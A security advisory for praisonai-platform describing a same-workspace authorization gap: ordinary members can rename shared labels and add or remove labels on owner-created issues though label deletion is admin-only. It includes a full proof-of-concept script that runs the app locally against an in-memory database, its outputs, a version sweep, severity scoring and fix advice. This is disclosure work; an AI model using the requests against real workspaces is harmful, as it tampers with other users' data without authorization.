PraisonAI: Platform members can rewrite shared labels and owner issue labels without owner/admin authorizationCVE-2026-61440

# Platform members can rewrite shared labels and owner issue labels without owner/admin authorization ## Summary `praisonai-platform` lets an ordinary workspace member rename and recolor shared labels and add/remove labels on an owner-created issue even though direct label deletion is restricted to workspace admin/owner authority in current releases. ## Technical Details The affected boundary is the difference between ordinary workspace membership and authority to mutate shared workspace triage taxonomy or owner-created issue workflow state. `src/praisonai-platform/praisonai_platform/api/routes/labels.py` defines `PATCH /workspaces/{workspace_id}/labels/{label_id}` with `user: AuthIdentity = Depends(require_workspace_member)`. The route verifies the label belongs to the URL workspace, then calls `LabelService.update(label_id, body.name, body.color)`, which writes the shared label name/color. The paired label delete route shows a stricter intended boundary. `DELETE /workspaces/{workspace_id}/labels/{label_id}` also verifies the label belongs to the URL workspace, but then calls `require_delete_permission(workspace_id, user, session)` before deleting. `require_delete_permission()` allows workspace admins/owners, or a supplied `resource_owner_id`; because labels have no per-label owner passed to the helper, direct label deletion is effectively admin/owner-only. The local controls confirm that a normal member receives `403` for direct label deletion in current head, `0.1.6`, and `0.1.8`. The issue-label link routes have the same under-authorized write boundary. `POST /workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id}` and `DELETE /workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id}` require only workspace membership after confirming the issue and label belong to the URL workspace. They then call `LabelService.add_to_issue(issue_id, label_id)` or `LabelService.remove_from_issue(issue_id, label_id)` without checking whether the caller owns the issue or has workspace admin/owner authority. As a result, a member who cannot delete a label can still rename/recolor that shared label, remove it from an owner-created issue, and add it back. The non-member controls return `403`, so this is not the older cross-workspace IDOR; it is a same-workspace owner/admin authorization gap that remains after workspace scoping checks. ## PoV the PoV starts the PraisonAI Platform FastAPI app in process with an in-memory SQLite database. It creates an owner, a member, and an outsider; the owner creates a workspace, adds the member as a plain `member`, creates an owner issue, creates a label, and attaches the label to that issue. The member then attempts the direct label delete control and the three label write actions. Essential excerpt: ```python member_delete_label = await client.delete( f"/api/v1/workspaces/{workspace_id}/labels/{member_delete_control_label_id}", headers=member_headers, ) member_patch_label = await client.patch( f"/api/v1/workspaces/{workspace_id}/labels/{label_id}", json={"name": "Member-controlled triage", "color": "#000000"}, headers=member_headers, ) member_remove_from_owner_issue = await client.delete( f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}", headers=member_headers, ) member_add_back_to_owner_issue = await client.post( f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}", headers=member_headers, ) outsider_patch_label = await client.patch( f"/api/v1/workspaces/{workspace_id}/labels/{label_id}", json={"name": "Outsider attempt"}, headers=outsider_headers, ) ``` The full PoV script is included in the appendix below. ## PoC Current head tested: ```text 846568c7a5d8ce9e71e56e4c213f027c04909753 2026-06-17 20:13:04 +0100 chore: clean up redundant 'persist-credentials' entries in GitHub workflows ``` Run against a local checkout of current head: ```sh uv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_label_authorization_bypass.py --repo ./PraisonAI --json ``` Decisive current-head output: ```json { "source": "git:846568c7a5d8ce9e71e56e4c213f027c04909753", "vulnerable": true, "checks": { "initial_owner_issue_labels": [ "Owner triage" ], "member_direct_label_delete": 403, "member_patch_label": 200, "owner_observed_label_name_after_member_patch": "Member-controlled triage", "owner_observed_label_color_after_member_patch": "#000000", "member_remove_label_from_owner_issue": 204, "owner_issue_labels_after_member_remove": [], "member_add_label_to_owner_issue": 204, "owner_issue_labels_after_member_add": [ "Member-controlled triage" ], "non_member_patch_label": 403, "non_member_add_label_to_issue": 403, "owner_delete_label": 204 } } ``` Run against the latest PyPI package observed during testing: ```sh uv run --with 'praisonai-platform==0.1.8' --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_label_authorization_bypass.py --json ``` Decisive latest-PyPI output: ```json { "source": "pypi:praisonai-platform==0.1.8", "vulnerable": true, "checks": { "member_direct_label_delete": 403, "member_patch_label": 200, "member_remove_label_from_owner_issue": 204, "member_add_label_to_owner_issue": 204, "non_member_patch_label": 403, "non_member_add_label_to_issue": 403 } } ``` Version sweep excerpt: ```text current git:846568c7a5d8ce9e71e56e4c213f027c04909753: vulnerable=true delete=403 patch=200 remove=204 add=204 pypi:praisonai-platform==0.1.8: vulnerable=true delete=403 patch=200 remove=204 add=204 pypi:praisonai-platform==0.1.6: vulnerable=true delete=403 patch=200 remove=204 add=204 pypi:praisonai-platform==0.1.4: vulnerable=false delete=204 patch=200 remove=204 add=204 ``` The `0.1.4` result is not a clean negative. It means direct member label deletion still returned `204` in that sampled version, so the narrower post-delete-guard bypass is masked by broader older delete behavior. ## Impact An ordinary workspace member can alter shared triage labels and owner issue label assignments without admin/owner authority. In a shared PraisonAI Platform workspace, that lets a member silently change label meaning, remove labels from owner-created issues so they disappear from label-based filters or boards, and re-add arbitrary labels to owner-created issues. The impact is integrity loss over workflow and triage state rather than code execution or data exfiltration. Suggested severity: Medium. Suggested CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N` (6.5). Suggested CWEs: `CWE-862` Missing Authorization and `CWE-863` Incorrect Authorization. The score is conservative: it assumes the attacker already has ordinary workspace member privileges and does not claim confidentiality or availability impact. ## Suggested Fix Define explicit write authorization for labels and issue-label links instead of treating all workspace members as label administrators. A minimal fix is to require workspace admin/owner authority for `PATCH /labels/{label_id}`, `POST /issues/{issue_id}/labels/{label_id}`, and `DELETE /issues/{issue_id}/labels/{label_id}` when the target issue or shared label was not created by the caller. If labels are intended to be collaboratively editable by all members, make that policy explicit and align delete/update/link behavior. Otherwise, mirror the direct label delete route's admin/owner boundary for label taxonomy updates and require issue owner/admin authority before mutating labels on an existing issue. Add regression tests for these cases: a member cannot rename/recolor a shared label if label management is admin/owner-only; a member cannot remove or add labels on an owner-created issue; a workspace admin/owner can still manage labels; a non-member still receives `403`; and direct label deletion remains protected. ## Affected Package/Versions Affected package: `pypi:praisonai-platform`. Latest PyPI version observed during testing: `0.1.8`. Current head `846568c7a5d8ce9e71e56e4c213f027c04909753` is affected. The post-delete-guard label write authorization gap is confirmed in sampled versions `0.1.6`, `0.1.8`, and current head. In sampled `0.1.4`, direct member label deletion already returned `204`, so the narrower post-delete-guard bypass is masked by broader older same-workspace delete behavior. Suggested affected range for the post-delete-guard bypass: `pypi:praisonai-platform >=0.1.6, <=0.1.8`. No fixed version or fix commit was observed. ## Advisory History Visible PraisonAI Platform advisories include older label endpoint and same-workspace DELETE authorization reports. The closest overlap is the prior DELETE advisory; this report should be read as a remaining sibling/incomplete-fix style authorization gap where direct label deletion is now denied but label PATCH and issue-label link writes still succeed. `GHSA-5jx9-w35f-vp65` / `CVE-2026-47414`, "praisonai-platform: Label endpoints' unchecked label_id/issue_id enable cross-workspace label IDOR (edit, delete, link)", covers cross-workspace label operations in `<=0.1.2` and lists `0.1.4` as patched. This report is distinct because the PoV uses a single workspace, current head verifies the issue and label belong to that workspace, non-members receive `403`, and the unauthorized actor is a legitimate same-workspace member crossing the owner/admin write boundary. `GHSA-rh39-9c67-59mh`, "Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API", covers same-workspace member DELETE access to projects, agents, issues, labels, issue dependencies, and issue-label attachments. This report overlaps that advisory on the issue-label attachment removal symptom, but the current PoV also shows the direct label DELETE path now returns `403` in current head, `0.1.6`, and `0.1.8` while the sibling label PATCH and issue-label add/remove routes still return `200`/`204`. If maintainers track the remaining issue-label DELETE behavior under `GHSA-rh39-9c67-59mh`, the new material here is the surviving shared-label PATCH authorization gap plus the post-delete-guard add/remove behavior demonstrated against current head and latest PyPI. `GHSA-2fjj-qqg8-fg7x`, "Authorization Bypass Through User-Controlled Key in praisonai-platform", covers issue create/update accepting a body-supplied foreign `project_id` and polluting another workspace's project statistics. This report is distinct because it does not use cross-workspace body references or project statistics; it uses a legitimate member inside the same workspace to mutate shared label taxonomy and owner issue-label state. `GHSA-gv23-xrm3-8c62` covers older systemic cross-workspace object lookup and privilege escalation behavior. This report does not require foreign workspace ids or member-role escalation. `GHSA-xwq8-frcg-77q8` covers older issue endpoint cross-workspace IDOR. This report targets label taxonomy and issue-label association write authorization. ## References - `https://github.com/advisories/GHSA-5jx9-w35f-vp65` - `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh` - `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2fjj-qqg8-fg7x` - `https://github.com/advisories/GHSA-gv23-xrm3-8c62` - `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xwq8-frcg-77q8` - `https://cwe.mitre.org/data/definitions/862.html` - `https://cwe.mitre.org/data/definitions/863.html` ## Appendix A - Full PoV Script Save this as `pov_platform_label_authorization_bypass.py` before running the PoC commands above. ```python #!/usr/bin/env python3 """PoV for PraisonAI Platform label authorization gaps.""" from __future__ import annotations import argparse import asyncio import json import os import subprocess import sys from pathlib import Path from typing import Any def _load_local_source(repo: Path | None) -> None: if repo is None: return platform_root = repo / "src" / "praisonai-platform" agents_root = repo / "src" / "praisonai-agents" for path in (str(platform_root), str(agents_root)): if path not in sys.path: sys.path.insert(0, path) async def _register(client: Any, email: str, name: str) -> tuple[str, str]: response = await client.post( "/api/v1/auth/register", json={"email": email, "password": "Password1!", "name": name}, ) if response.status_code >= 400: raise RuntimeError(f"register failed for {email}: {response.status_code} {response.text}") body = response.json() return body["token"], body["user"]["id"] async def _create_issue( client: Any, workspace_id: str, headers: dict[str, str], title: str, ) -> str: response = await client.post( f"/api/v1/workspaces/{workspace_id}/issues/", json={"title": title, "priority": "high"}, headers=headers, ) response.raise_for_status() return response.json()["id"] async def _issue_label_names( client: Any, workspace_id: str, issue_id: str, headers: dict[str, str], ) -> list[str]: response = await client.get( f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}/labels", headers=headers, ) response.raise_for_status() return [label["name"] for label in response.json()] async def _run(repo: Path | None) -> dict[str, Any]: os.environ["PLATFORM_JWT_SECRET"] = "local-poc-secret-32-bytes-minimum" _load_local_source(repo) from httpx import ASGITransport, AsyncClient from sqlalchemy.ext.asyncio import create_async_engine from praisonai_platform.api.app import create_app from praisonai_platform.db import base as base_mod from praisonai_platform.db.base import Base, reset_engine await reset_engine() engine = create_async_engine( "sqlite+aiosqlite:///:memory:", echo=False, connect_args={"check_same_thread": False}, ) base_mod._engine = engine base_mod._session_factory = None async with engine.begin() as conn: await conn.run_sync(Base.metadata.create_all) app = create_app() transport = ASGITransport(app=app) async with AsyncClient(transport=transport, base_url="http://local-poc") as client: owner_token, _owner_id = await _register(client, "[email protected]", "Owner") member_token, member_id = await _register(client, "[email protected]", "Member") outsider_token, _outsider_id = await _register( client, "[email protected]", "Outsider" ) owner_headers = {"Authorization": f"Bearer {owner_token}"} member_headers = {"Authorization": f"Bearer {member_token}"} outsider_headers = {"Authorization": f"Bearer {outsider_token}"} ws_resp = await client.post( "/api/v1/workspaces/", json={"name": "Shared Workspace", "slug": "shared-workspace"}, headers=owner_headers, ) ws_resp.raise_for_status() workspace_id = ws_resp.json()["id"] add_member = await client.post( f"/api/v1/workspaces/{workspace_id}/members", json={"user_id": member_id, "role": "member"}, headers=owner_headers, ) add_member.raise_for_status() owner_issue_id = await _create_issue( client, workspace_id, owner_headers, "Owner issue" ) label_resp = await client.post( f"/api/v1/workspaces/{workspace_id}/labels", json={"name": "Owner triage", "color": "#ff0000"}, headers=owner_headers, ) label_resp.raise_for_status() label_id = label_resp.json()["id"] owner_delete_control_label_resp = await client.post( f"/api/v1/workspaces/{workspace_id}/labels", json={"name": "Owner delete control", "color": "#00ff00"}, headers=owner_headers, ) owner_delete_control_label_resp.raise_for_status() owner_delete_control_label_id = owner_delete_control_label_resp.json()["id"] member_delete_control_label_resp = await client.post( f"/api/v1/workspaces/{workspace_id}/labels", json={"name": "Member delete control", "color": "#0000ff"}, headers=owner_headers, ) member_delete_control_label_resp.raise_for_status() member_delete_control_label_id = member_delete_control_label_resp.json()["id"] owner_attach = await client.post( f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}", headers=owner_headers, ) owner_attach.raise_for_status() initial_issue_labels = await _issue_label_names( client, workspace_id, owner_issue_id, owner_headers ) member_delete_label = await client.delete( f"/api/v1/workspaces/{workspace_id}/labels/{member_delete_control_label_id}", headers=member_headers, ) member_patch_label = await client.patch( f"/api/v1/workspaces/{workspace_id}/labels/{label_id}", json={"name": "Member-controlled triage", "color": "#000000"}, headers=member_headers, ) owner_label_list_after_patch = await client.get( f"/api/v1/workspaces/{workspace_id}/labels", headers=owner_headers, ) member_remove_from_owner_issue = await client.delete( f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}", headers=member_headers, ) labels_after_member_remove = await _issue_label_names( client, workspace_id, owner_issue_id, owner_headers ) member_add_back_to_owner_issue = await client.post( f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}", headers=member_headers, ) labels_after_member_add = await _issue_label_names( client, workspace_id, owner_issue_id, owner_headers ) outsider_patch_label = await client.patch( f"/api/v1/workspaces/{workspace_id}/labels/{label_id}", json={"name": "Outsider attempt"}, headers=outsider_headers, ) outsider_add_to_issue = await client.post( f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}", headers=outsider_headers, ) owner_delete_label = await client.delete( f"/api/v1/workspaces/{workspace_id}/labels/{owner_delete_control_label_id}", headers=owner_headers, ) await engine.dispose() base_mod._engine = None base_mod._session_factory = None owner_labels = ( owner_label_list_after_patch.json() if owner_label_list_after_patch.status_code == 200 else [] ) owner_observed_label = owner_labels[0] if owner_labels else {} checks = { "initial_owner_issue_labels": initial_issue_labels, "member_direct_label_delete": member_delete_label.status_code, "member_patch_label": member_patch_label.status_code, "owner_observed_label_name_after_member_patch": owner_observed_label.get("name"), "owner_observed_label_color_after_member_patch": owner_observed_label.get("color"), "member_remove_label_from_owner_issue": member_remove_from_owner_issue.status_code, "owner_issue_labels_after_member_remove": labels_after_member_remove, "member_add_label_to_owner_issue": member_add_back_to_owner_issue.status_code, "owner_issue_labels_after_member_add": labels_after_member_add, "non_member_patch_label": outsider_patch_label.status_code, "non_member_add_label_to_issue": outsider_add_to_issue.status_code, "owner_delete_label": owner_delete_label.status_code, } vulnerable = ( checks["initial_owner_issue_labels"] == ["Owner triage"] and checks["member_direct_label_delete"] == 403 and checks["member_patch_label"] == 200 and checks["owner_observed_label_name_after_member_patch"] == "Member-controlled triage" and checks["owner_observed_label_color_after_member_patch"] == "#000000" and checks["member_remove_label_from_owner_issue"] == 204 and checks["owner_issue_labels_after_member_remove"] == [] and checks["member_add_label_to_owner_issue"] == 204 and checks["owner_issue_labels_after_member_add"] == ["Member-controlled triage"] and checks["non_member_patch_label"] == 403 and checks["non_member_add_label_to_issue"] == 403 and checks["owner_delete_label"] == 204 ) return { "package": "praisonai-platform", "source": _source_id(repo), "workspace_role": "member", "summary": ( "A workspace member can rewrite shared label taxonomy and add/remove labels " "on an owner-created issue even though direct label deletion is owner/admin-only." ), "issue_id": owner_issue_id, "label_id": label_id, "checks": checks, "vulnerable": vulnerable, } def _source_id(repo: Path | None) -> str: if repo is None: import importlib.metadata return f"pypi:praisonai-platform=={importlib.metadata.version('praisonai-platform')}" rev = subprocess.check_output( ["git", "-C", str(repo), "rev-parse", "HEAD"], text=True, ).strip() return f"git:{rev}" def main() -> int: parser = argparse.ArgumentParser() parser.add_argument("--repo", type=Path) parser.add_argument("--json", action="store_true") args = parser.parse_args() result = asyncio.run(_run(args.repo.resolve() if args.repo else None)) if args.json: print(json.dumps(result, indent=2, sort_keys=True)) else: for key, value in result["checks"].items(): print(f"{key}: {value}") print(f"vulnerable: {result['vulnerable']}") return 0 if result["vulnerable"] else 1 if __name__ == "__main__": raise SystemExit(main()) ```

Quoted source text, attributed separately from HOL analysis.